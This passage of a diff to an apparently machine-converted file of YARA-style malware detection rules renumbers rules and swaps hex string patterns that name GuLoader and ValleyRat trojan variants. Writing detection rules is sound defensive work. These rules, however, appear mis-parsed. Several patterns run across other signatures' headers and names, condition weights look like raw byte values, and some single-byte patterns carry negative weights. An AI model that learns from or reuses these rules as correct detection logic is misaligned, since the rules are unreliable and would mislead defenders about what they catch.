1)*8448+(#a_41_6 & 1)*20293+(#a_00_8 & 1)*80) >=6 } -rule _InfrastructureShared_18142{ +rule _InfrastructureShared_19307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -218852,7 +233136,7 @@ rule _InfrastructureShared_18142{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*85+(#a_00_3 & 1)*78+(#a_00_5 & 1)*105) >=7 } -rule _InfrastructureShared_18143{ +rule _InfrastructureShared_19308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -218872,7 +233156,7 @@ rule _InfrastructureShared_18143{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*20225+(#a_65_3 & 1)*384+(#a_01_4 & 1)*25955+(#a_64_5 & 1)*25974+(#a_78_6 & 1)*11890+(#a_00_7 & 1)*27753+(#a_54_8 & 1)*385+(#a_5f_9 & 1)*29805+(#a_74_10 & 1)*24434+(#a_01_11 & 1)*21549) >=12 } -rule _InfrastructureShared_18144{ +rule _InfrastructureShared_19309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -218893,7 +233177,7 @@ rule _InfrastructureShared_18144{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25711+(#a_72_2 & 1)*29793+(#a_01_3 & 1)*30720+(#a_6c_4 & 1)*29554+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*10+(#a_01_9 & 1)*1+(#a_52_10 & 1)*0+(#a_30_11 & 1)*-29852) >=12 } -rule _InfrastructureShared_18145{ +rule _InfrastructureShared_19310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 0c 00 21 " @@ -218913,7 +233197,7 @@ rule _InfrastructureShared_18145{ ((#a_77_0 & 1)*16675+(#a_6d_1 & 1)*771+(#a_67_3 & 1)*5632+(#a_65_4 & 1)*28257+(#a_2f_5 & 1)*24879+(#a_48_6 & 1)*8448+(#a_45_7 & 1)*13366+(#a_2d_8 & 1)*25601+(#a_30_9 & 1)*29547+(#a_44_10 & 1)*19529+(#a_00_11 & 1)*32) >=31 } -rule _InfrastructureShared_18146{ +rule _InfrastructureShared_19311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 0e 00 21 " @@ -218935,7 +233219,7 @@ rule _InfrastructureShared_18146{ ((#a_54_0 & 1)*18467+(#a_8b_1 & 1)*263+(#a_01_2 & 1)*257+(#a_5a_3 & 1)*19010+(#a_46_4 & 1)*257+(#a_76_5 & 1)*26206+(#a_00_7 & 1)*44+(#a_00_8 & 1)*111+(#a_00_9 & 1)*115+(#a_6e_10 & 1)*26988+(#a_61_11 & 1)*24434+(#a_26_12 & 1)*8235+(#a_4c_13 & 1)*21576) >=50 } -rule _InfrastructureShared_18147{ +rule _InfrastructureShared_19312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -218947,7 +233231,7 @@ rule _InfrastructureShared_18147{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_00_3 & 1)*111) >=400 } -rule _InfrastructureShared_18148{ +rule _InfrastructureShared_19313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -218960,7 +233244,7 @@ rule _InfrastructureShared_18148{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*24434+(#a_26_2 & 1)*8235+(#a_4c_3 & 1)*21576) >=2 } -rule _InfrastructureShared_18149{ +rule _InfrastructureShared_19314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 03 00 04 00 21 " @@ -218973,7 +233257,7 @@ rule _InfrastructureShared_18149{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28628+(#a_01_2 & 1)*-28465+(#a_01_3 & 1)*-7432) >=3 } -rule _InfrastructureShared_18150{ +rule _InfrastructureShared_19315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -218988,7 +233272,7 @@ rule _InfrastructureShared_18150{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_01_2 & 1)*1+(#a_01_3 & 1)*2+(#a_01_4 & 1)*1+(#a_53_5 & 1)*0) >=4 } -rule _InfrastructureShared_18151{ +rule _InfrastructureShared_19316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -219005,7 +233289,7 @@ rule _InfrastructureShared_18151{ ((#a_4c_0 & 1)*21539+(#a_42_1 & 1)*23125+(#a_55_2 & 1)*30789+(#a_01_3 & 1)*15697+(#a_64_4 & 1)*21587+(#a_00_5 & 1)*56+(#a_00_6 & 1)*51+(#a_00_8 & 1)*55) >=5 } -rule _InfrastructureShared_18152{ +rule _InfrastructureShared_19317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -219020,7 +233304,7 @@ rule _InfrastructureShared_18152{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*55+(#a_00_3 & 1)*70+(#a_00_4 & 1)*48+(#a_00_5 & 1)*57+(#a_73_6 & 1)*30035) >=7 } -rule _InfrastructureShared_18153{ +rule _InfrastructureShared_19318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -219035,7 +233319,7 @@ rule _InfrastructureShared_18153{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*0+(#a_00_4 & 1)*0+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 } -rule _InfrastructureShared_18154{ +rule _InfrastructureShared_19319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -219051,7 +233335,7 @@ rule _InfrastructureShared_18154{ ((#a_54_0 & 1)*18467+(#a_25_1 & 1)*25966+(#a_69_2 & 1)*26996+(#a_01_3 & 1)*30720+(#a_01_4 & 1)*11264+(#a_00_5 & 1)*15677+(#a_68_6 & 1)*385) >=8 } -rule _InfrastructureShared_18155{ +rule _InfrastructureShared_19320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -219068,7 +233352,7 @@ rule _InfrastructureShared_18155{ ((#a_54_0 & 1)*18467+(#a_4a_1 & 1)*11079+(#a_01_2 & 1)*15697+(#a_69_3 & 1)*30465+(#a_6d_4 & 1)*29555+(#a_6f_5 & 1)*28517+(#a_5c_6 & 1)*25966+(#a_00_7 & 1)*28782) >=9 } -rule _InfrastructureShared_18156{ +rule _InfrastructureShared_19321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -219086,7 +233370,7 @@ rule _InfrastructureShared_18156{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28532+(#a_6e_2 & 1)*30315+(#a_6e_3 & 1)*29537+(#a_39_4 & 1)*25653+(#a_38_5 & 1)*25910+(#a_62_6 & 1)*12852+(#a_31_7 & 1)*25970+(#a_6f_8 & 1)*21562) >=9 } -rule _InfrastructureShared_18157{ +rule _InfrastructureShared_19322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -219105,7 +233389,7 @@ rule _InfrastructureShared_18157{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*14641+(#a_01_2 & 1)*8448+(#a_00_3 & 1)*13366+(#a_62_4 & 1)*14387+(#a_65_5 & 1)*13410+(#a_65_6 & 1)*14384+(#a_54_7 & 1)*21845+(#a_6e_8 & 1)*27247+(#a_6f_9 & 1)*384) >=10 } -rule _InfrastructureShared_18158{ +rule _InfrastructureShared_19323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -219124,7 +233408,7 @@ rule _InfrastructureShared_18158{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*14646+(#a_61_2 & 1)*14393+(#a_34_3 & 1)*25190+(#a_67_4 & 1)*30059+(#a_43_5 & 1)*13890+(#a_43_6 & 1)*31337+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_53_9 & 1)*0) >=10 } -rule _InfrastructureShared_18159{ +rule _InfrastructureShared_19324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -219135,15 +233419,15 @@ rule _InfrastructureShared_18159{ $a_6f_3 = {65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 1d 80 01 50 6f 72 74 61 6c 71 75 69 7a 2e 74 65 78 74 75 72 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 53 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 50 52 45 5a 31 36 37 21 4d 54 42 00 01 } //20526 $a_01_4 = {25 62 65 64 63 68 61 6d 62 65 72 25 5c 68 6f 72 6e 62 6c 73 65 72 5c 52 6f 72 73 6d 6e 64 31 34 35 01 00 11 81 01 2e 5c 73 63 65 6e 65 67 75 6c 76 65 74 2e 69 6e 69 01 00 1a 81 01 25 6b 75 72 73 67 77 72 25 5c 72 65 73 74 72 69 6e 67 65 72 65 73 2e 65 6c 76 01 00 1f 81 01 27 36 5c 74 72 69 74 74 65 6e 65 73 5c 53 6f 6a 61 62 6e 6e 65 72 6e 65 32 35 33 2e 44 69 67 01 00 15 81 01 63 68 } //8448 $a_79_5 = {62 6f 6e 6b 61 6d 6d 65 72 61 74 65 6e 73 01 00 1d 81 01 43 3a 5c 54 45 4d 50 5c 73 74 6f 72 6d 66 6c 6f 64 73 73 69 6b 72 69 6e 67 65 72 6e 65 01 00 19 81 01 68 6f 73 70 69 74 61 6c 69 73 65 72 65 6e 64 65 20 73 63 61 62 62 6c 65 64 01 00 15 81 01 61 74 68 65 69 73 74 69 63 20 70 68 6f 6e 6f 72 65 63 6f 72 64 01 00 1a 81 01 75 64 6d 72 6b } //30575 - $a_65_6 = {73 20 6f 72 74 68 6f 74 6f 6d 69 63 2e 65 78 65 01 00 0b 81 01 75 6e 61 77 61 72 64 61 62 6c 79 00 00 78 53 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4c 55 31 32 33 21 4d 54 42 00 01 00 13 81 01 72 65 76 69 73 65 72 20 73 6f 6c 66 61 6e 67 65 72 65 73 01 00 11 81 01 73 70 69 6e 61 67 65 20 } //27749 - $a_64_7 = {72 6e 65 73 01 00 16 81 01 69 6e 65 71 75 69 76 61 6c 76 65 64 20 64 6f 70 69 6e 67 64 6d 74 01 00 15 81 01 25 67 65 6e 6b 6f 6d 73 74 65 6e 73 25 5c 54 75 61 74 61 72 61 01 00 1e 81 01 23 5c 63 75 70 6f 6c 61 65 64 5c 67 61 6d 6d 65 6c 73 70 72 6f 67 6c 69 67 65 2e 69 6e 69 01 00 11 81 01 28 28 5c 54 } //27507 - $a_74_8 = {72 32 34 30 2e 66 69 62 01 00 12 81 01 2d 5c 50 6f 73 74 61 64 72 65 73 73 65 6e 2e 73 74 72 01 00 17 81 01 35 5c 72 69 73 73 6f 6d 5c 67 6f 6e 6f 73 74 79 6c 65 2e 53 63 68 22 01 00 1f 81 01 24 24 5c 4e 61 62 6f 6c 61 6e 64 65 74 73 5c 72 65 74 6f 75 63 68 65 72 69 6e 67 2e 74 61 6e 01 00 31 81 01 25 66 6f 72 } //26473 - $a_64_9 = {72 65 6e 25 5c 52 61 77 6c 70 6c 75 67 67 65 6e 5c 44 72 69 6b 6b 65 73 6b 69 6c 6c 69 6e 67 65 72 32 33 39 2e 70 65 72 00 00 78 53 01 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 51 51 21 4d 54 42 00 01 00 19 81 01 5c 4f 70 74 72 65 76 6c 65 32 33 5c 73 63 69 6f } //31083 + $a_65_6 = {73 20 6f 72 74 68 6f 74 6f 6d 69 63 2e 65 78 65 01 00 0b 81 01 75 6e 61 77 61 72 64 61 62 6c 79 00 00 78 53 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 50 21 4d 54 42 00 01 00 24 81 01 5c 69 6e 67 72 6f 77 6e 6e 65 73 73 5c 44 65 6d 69 63 72 69 74 69 63 31 34 35 5c 70 6f } //27749 + $a_61_7 = {63 68 01 00 0f 81 01 5c 6d 65 6e 6f 72 72 68 65 69 63 2e 67 69 66 01 00 16 81 01 5c 70 72 6f 67 72 61 6d 75 64 73 6b 72 69 66 74 65 72 2e 69 6e 69 01 00 15 81 01 50 73 79 63 68 6f 72 68 79 74 68 6d 69 63 31 30 31 2e 6a 70 67 01 00 13 81 01 55 6e 73 61 63 72 69 66 69 63 65 61 62 6c 79 2e 74 79 70 01 00 12 81 01 72 65 69 6e 76 } //25964 + $a_72_8 = {74 69 6e 67 2e 69 6e 69 01 00 10 81 01 5c 73 6b 72 6d 69 6e 64 64 65 6c 69 6e 67 65 72 01 00 21 81 01 6d 6f 6f 64 69 65 72 5c 70 74 65 72 6f 62 72 61 6e 63 68 69 61 74 65 5c 6f 74 6f 6d 69 74 6c 61 6e 01 00 22 81 01 64 72 6f 6d 65 64 5c 61 66 73 74 61 61 65 6e 64 65 73 5c 42 69 68 75 6c 65 62 65 74 6e 64 65 6c 73 65 01 00 1e 81 01 } //26473 + $a_69_9 = {6c 65 5c 55 6e 69 6e 73 74 61 6c 6c 5c 74 65 76 61 6e 64 73 6b 6e 67 74 65 00 00 78 53 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4c 55 31 32 33 21 4d 54 42 00 01 00 13 81 01 72 65 76 69 73 65 72 20 73 6f 6c 66 61 6e 67 65 72 65 73 01 00 11 81 01 73 70 69 6e 61 67 65 20 73 6b } //24941 condition: - ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*17478+(#a_6e_2 & 1)*28781+(#a_6f_3 & 1)*20526+(#a_01_4 & 1)*8448+(#a_79_5 & 1)*30575+(#a_65_6 & 1)*27749+(#a_64_7 & 1)*27507+(#a_74_8 & 1)*26473+(#a_64_9 & 1)*31083) >=10 + ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*17478+(#a_6e_2 & 1)*28781+(#a_6f_3 & 1)*20526+(#a_01_4 & 1)*8448+(#a_79_5 & 1)*30575+(#a_65_6 & 1)*27749+(#a_61_7 & 1)*25964+(#a_72_8 & 1)*26473+(#a_69_9 & 1)*24941) >=10 } -rule _InfrastructureShared_18160{ +rule _InfrastructureShared_19325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -219151,17 +233435,36 @@ rule _InfrastructureShared_18160{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 50 52 45 5a 31 36 37 21 4d 54 42 00 01 00 21 81 01 25 62 65 64 63 68 61 6d 62 65 72 25 5c 68 6f 72 6e 62 6c 73 65 72 5c 52 6f 72 73 6d 6e 64 31 34 35 01 00 11 81 01 2e 5c 73 63 65 } //18467 $a_75_1 = {76 65 74 2e 69 6e 69 01 00 1a 81 01 25 6b 75 72 73 67 77 72 25 5c 72 65 73 74 72 69 6e 67 65 72 65 73 2e 65 6c 76 01 00 1f 81 01 27 36 5c 74 72 69 74 74 65 6e 65 73 5c 53 6f 6a 61 62 6e 6e 65 72 6e 65 32 35 33 2e 44 69 67 01 00 15 81 01 63 68 6f 77 72 79 5c 62 6f 6e 6b 61 6d 6d 65 72 61 74 65 6e 73 01 00 1d } //25966 $a_3a_2 = {54 45 4d 50 5c 73 74 6f 72 6d 66 6c 6f 64 73 73 69 6b 72 69 6e 67 65 72 6e 65 01 00 19 81 01 68 6f 73 70 69 74 61 6c 69 73 65 72 65 6e 64 65 20 73 63 61 62 62 6c 65 64 01 00 15 81 01 61 74 68 65 69 73 } //385 - $a_20_3 = {68 6f 6e 6f 72 65 63 6f 72 64 01 00 1a 81 01 75 64 6d 72 6b 65 6c 73 65 72 73 20 6f 72 74 68 6f 74 6f 6d 69 63 2e 65 78 65 01 00 0b 81 01 75 6e 61 77 61 72 64 61 62 6c 79 00 00 78 53 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4c 55 31 32 33 21 } //26996 - $a_00_4 = {01 00 13 81 01 72 65 76 69 73 65 72 20 73 6f 6c 66 61 6e 67 65 72 65 73 01 00 11 81 01 73 70 69 6e 61 67 65 20 73 6b 65 64 65 72 6e 65 73 01 00 16 81 01 69 6e 65 71 75 69 76 61 6c 76 65 64 20 64 6f } //21581 - $a_67_5 = {6d 74 01 00 15 81 01 25 67 65 6e 6b 6f 6d 73 74 65 6e 73 25 5c 54 75 61 74 61 72 61 01 00 1e 81 01 23 5c 63 75 70 6f 6c 61 65 64 5c 67 61 6d 6d 65 6c 73 70 72 6f 67 6c 69 67 65 2e 69 6e 69 01 00 11 81 01 28 28 5c 54 69 67 68 74 65 72 32 34 30 2e 66 69 62 01 00 12 81 01 2d 5c 50 6f 73 74 61 64 72 65 73 73 65 6e 2e 73 74 72 01 00 } //26992 - $a_35_6 = {72 } //-32489 r - $a_6f_7 = {5c 67 6f 6e 6f 73 74 79 6c 65 2e 53 63 68 22 01 00 1f 81 01 24 24 5c 4e 61 62 6f 6c 61 6e 64 65 74 73 5c 72 65 74 6f 75 63 68 65 72 69 6e 67 2e 74 61 6e 01 00 31 81 01 25 66 6f 72 6b 79 6e 64 65 72 65 6e 25 5c 52 61 77 6c 70 6c 75 67 67 65 6e 5c 44 72 69 6b 6b 65 73 6b 69 6c 6c 69 6e 67 65 72 32 33 39 2e 70 65 72 00 00 78 53 01 00 0b 00 0b 00 } //29545 - $a_23_8 = {53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 51 51 21 4d 54 42 } //11 STR:Trojan:Win32/GuLoader.SQQ!MTB + $a_20_3 = {68 6f 6e 6f 72 65 63 6f 72 64 01 00 1a 81 01 75 64 6d 72 6b 65 6c 73 65 72 73 20 6f 72 74 68 6f 74 6f 6d 69 63 2e 65 78 65 01 00 0b 81 01 75 6e 61 77 61 72 64 61 62 6c 79 00 00 78 53 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 } //26996 + $a_4d_4 = {42 00 01 00 24 81 01 5c 69 6e 67 72 6f 77 6e 6e 65 73 73 5c 44 65 6d 69 63 72 69 74 69 63 31 34 35 } //20563 + $a_6c_5 = {6d 61 72 63 68 01 00 0f 81 01 5c 6d 65 6e 6f 72 72 68 65 69 63 2e 67 69 66 01 00 16 81 01 5c 70 72 6f 67 72 61 6d 75 64 73 6b 72 69 66 74 65 72 2e 69 6e 69 01 00 15 81 01 50 73 79 63 68 6f 72 68 79 74 68 6d 69 63 31 30 31 2e 6a 70 67 01 00 13 81 01 55 6e 73 61 63 72 69 66 69 63 65 61 62 6c 79 2e 74 79 70 01 00 12 81 01 72 65 69 6e } //28764 + $a_6f_6 = {61 74 69 6e 67 2e 69 6e 69 01 00 10 81 01 5c 73 6b 72 6d 69 6e 64 64 65 6c 69 6e 67 65 72 01 00 21 81 01 6d 6f 6f 64 69 65 72 5c 70 74 65 72 6f 62 72 61 6e 63 68 69 61 74 65 5c 6f 74 6f 6d 69 74 6c 61 6e 01 00 22 81 01 64 72 6f 6d 65 64 5c 61 66 73 74 61 61 65 6e 64 65 73 5c 42 69 68 75 6c 65 62 65 74 6e 64 } //26998 + $a_65_7 = {00 1e 81 01 6d 61 6e 69 6c 6c 65 5c 55 6e 69 6e 73 74 61 6c 6c 5c 74 65 76 61 6e 64 73 6b 6e 67 74 65 00 00 78 53 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4c 55 31 32 33 21 4d 54 42 00 01 00 13 81 01 72 65 76 69 73 65 72 20 73 6f 6c 66 61 6e 67 65 72 65 73 01 00 11 81 01 73 70 69 6e 61 67 } //27749 + $a_6b_8 = {64 65 72 6e 65 73 01 00 16 81 01 69 6e 65 71 75 69 76 61 6c 76 65 64 20 64 6f 70 69 6e 67 64 6d 74 01 00 15 81 01 25 67 65 6e 6b 6f 6d 73 74 65 6e 73 25 5c 54 75 61 74 61 72 61 01 00 1e 81 01 23 5c 63 75 70 6f 6c 61 65 64 5c 67 61 6d 6d 65 6c 73 70 72 6f 67 6c 69 67 65 2e 69 6e 69 01 00 11 81 01 28 28 5c 54 69 67 68 74 65 72 32 34 30 2e 66 69 } //8293 condition: - ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*25966+(#a_3a_2 & 1)*385+(#a_20_3 & 1)*26996+(#a_00_4 & 1)*21581+(#a_67_5 & 1)*26992+(#a_35_6 & 1)*-32489+(#a_6f_7 & 1)*29545+(#a_23_8 & 1)*11) >=10 + ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*25966+(#a_3a_2 & 1)*385+(#a_20_3 & 1)*26996+(#a_4d_4 & 1)*20563+(#a_6c_5 & 1)*28764+(#a_6f_6 & 1)*26998+(#a_65_7 & 1)*27749+(#a_6b_8 & 1)*8293) >=10 } -rule _InfrastructureShared_18161{ +rule _InfrastructureShared_19326{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 50 21 4d 54 42 00 01 00 24 81 01 5c 69 6e 67 72 6f 77 6e 6e 65 73 73 5c 44 65 6d 69 63 72 69 74 69 63 31 34 35 5c 70 6f 6c 65 6d 61 72 63 68 01 00 0f 81 01 5c 6d 65 6e 6f 72 } //18467 + $a_69_1 = {2e 67 69 66 01 00 16 81 01 5c 70 72 6f 67 72 61 6d 75 64 73 6b 72 69 66 74 65 72 2e 69 6e 69 01 00 15 81 01 50 73 79 63 68 6f 72 68 79 74 68 6d 69 63 31 30 31 2e 6a 70 67 01 00 13 81 01 55 6e 73 61 63 72 69 66 69 63 65 61 62 6c 79 2e 74 79 70 01 00 12 81 01 72 65 69 6e 76 69 67 6f 72 61 74 69 6e 67 2e } //26738 + $a_01_2 = {00 10 81 01 5c 73 6b 72 6d 69 6e 64 64 65 6c 69 6e 67 65 72 01 00 21 81 01 6d 6f 6f 64 69 65 72 5c 70 74 65 72 6f 62 72 61 6e 63 68 69 61 74 65 5c 6f 74 6f 6d 69 74 6c 61 6e 01 00 22 81 01 64 72 6f 6d 65 64 5c 61 66 73 74 61 61 65 6e 64 65 73 5c 42 69 68 75 6c 65 62 65 74 6e 64 65 6c 73 65 01 00 1e 81 01 6d 61 6e } //28265 + $a_65_3 = {55 6e 69 6e 73 74 61 6c 6c 5c 74 65 76 61 6e 64 73 6b 6e 67 74 65 00 00 78 53 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4c 55 31 32 33 21 4d 54 42 00 01 00 13 81 01 72 65 76 69 73 65 72 20 73 6f 6c 66 61 6e 67 65 72 65 73 01 00 11 81 01 73 70 69 6e 61 67 65 20 73 6b 65 } //27753 + $a_6e_4 = {73 01 00 16 81 01 69 6e 65 71 75 69 76 61 6c 76 65 64 20 64 6f 70 69 6e 67 64 6d 74 01 00 15 81 01 25 67 65 6e 6b 6f 6d 73 74 65 6e 73 25 5c 54 75 61 74 61 72 61 01 00 1e 81 01 23 5c 63 75 70 6f 6c 61 65 64 5c 67 61 6d 6d 65 6c 73 70 72 6f 67 6c 69 67 65 2e 69 6e 69 01 00 11 81 01 28 28 5c 54 69 67 68 74 65 72 32 34 30 2e 66 69 62 01 00 12 } //25956 + $a_5c_5 = {6f 73 74 61 64 72 65 73 73 65 6e 2e 73 74 72 01 00 17 81 01 35 5c 72 69 73 73 6f 6d 5c 67 6f 6e 6f 73 74 79 6c 65 2e 53 63 68 22 01 00 } //385 + $a_24_6 = {5c } //-32481 \ + $a_6f_7 = {61 6e 64 65 74 73 5c 72 65 74 6f 75 63 68 65 72 69 6e 67 2e 74 61 6e 01 00 31 81 01 25 66 6f 72 6b 79 6e 64 65 72 65 6e 25 5c 52 61 77 6c 70 6c 75 67 67 65 6e 5c 44 72 69 6b 6b 65 73 6b 69 6c 6c 69 6e 67 65 72 32 33 39 2e 70 65 72 00 00 78 53 01 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 } //24910 + $a_6e_8 = {57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 51 51 21 4d 54 42 00 01 00 19 81 01 5c 4f 70 74 72 65 76 6c 65 32 33 5c 73 63 69 6f 6c 69 73 6d 73 2e 6c 6e 6b 01 00 14 81 01 5c 77 65 62 6c 73 65 72 5c 49 6e 63 65 6e 73 65 2e 69 6e 69 01 00 1e 81 01 6e 6f 6e 64 69 61 73 74 61 73 69 63 5c 55 } //27247 + $a_73_9 = {61 6c 6c 5c 73 65 72 72 61 6e 6f 01 00 10 81 01 54 61 61 72 65 67 61 73 70 61 74 72 6f 6e 65 72 01 00 0f 81 01 5c 63 6f 72 72 75 70 74 69 76 65 2e 69 6e 69 01 00 26 81 01 76 75 6c 6b 61 6e 69 73 65 72 69 6e 67 65 72 6e 65 73 5c 55 6e 69 6e 73 74 61 6c 6c 5c 66 6f 72 73 74 72 6b 6b 65 01 00 14 81 01 42 65 72 65 67 6e 69 6e 67 73 } //26990 + condition: + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*26738+(#a_01_2 & 1)*28265+(#a_65_3 & 1)*27753+(#a_6e_4 & 1)*25956+(#a_5c_5 & 1)*385+(#a_24_6 & 1)*-32481+(#a_6f_7 & 1)*24910+(#a_6e_8 & 1)*27247+(#a_73_9 & 1)*26990) >=10 + +} +rule _InfrastructureShared_19327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -219179,7 +233482,7 @@ rule _InfrastructureShared_18161{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26997+(#a_72_3 & 1)*13569+(#a_6c_4 & 1)*27507+(#a_65_5 & 1)*28233+(#a_6e_6 & 1)*25959+(#a_74_7 & 1)*25345+(#a_63_8 & 1)*27760+(#a_24_9 & 1)*-32731) >=10 } -rule _InfrastructureShared_18162{ +rule _InfrastructureShared_19328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -219198,7 +233501,7 @@ rule _InfrastructureShared_18162{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28265+(#a_5c_2 & 1)*27745+(#a_74_3 & 1)*17440+(#a_4c_4 & 1)*-32760+(#a_6c_5 & 1)*18020+(#a_31_6 & 1)*11590+(#a_00_7 & 1)*68+(#a_00_9 & 1)*65+(#a_01_10 & 1)*5120) >=11 } -rule _InfrastructureShared_18163{ +rule _InfrastructureShared_19329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -219215,13 +233518,12 @@ rule _InfrastructureShared_18163{ $a_81_9 = {6c 6f 67 69 6e 2e 41 62 6f 75 74 42 6f 78 31 2e 72 65 73 6f 75 72 63 65 73 } //1 login.AboutBox1.resources $a_81_10 = {6c 6f 67 69 6e 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //1 login.Resources.resources $a_81_11 = {6c 6f 67 69 6e 2e 53 41 2e 53 75 70 65 72 41 64 76 65 6e 74 2e 72 65 73 6f 75 72 63 65 73 } //1 login.SA.SuperAdvent.resources - $a_54_12 = {00 01 00 01 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 55 53 5f 43 45 52 54 2f 49 4d 50 4c 41 4e 54 5f 32 5f 76 38 00 01 00 56 03 44 89 44 24 60 41 f7 e0 8b f2 b8 ab aa aa aa c1 ee 02 89 74 24 58 44 8b 90 01 01 41 f7 90 01 01 8b ca ba 03 00 00 00 c1 e9 02 89 0c 24 8d 04 49 03 c0 44 2b 90 01 01 44 89 90 01 01 24 04 3b f1 0f 83 90 01 01 01 00 00 8d 1c 76 4c 89 6c } //0 - $a_41_13 = {8b 90 00 01 00 59 03 c5 41 f7 } //-28636 + $a_53_12 = {00 14 00 14 00 14 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 56 61 6c 6c 65 79 52 61 74 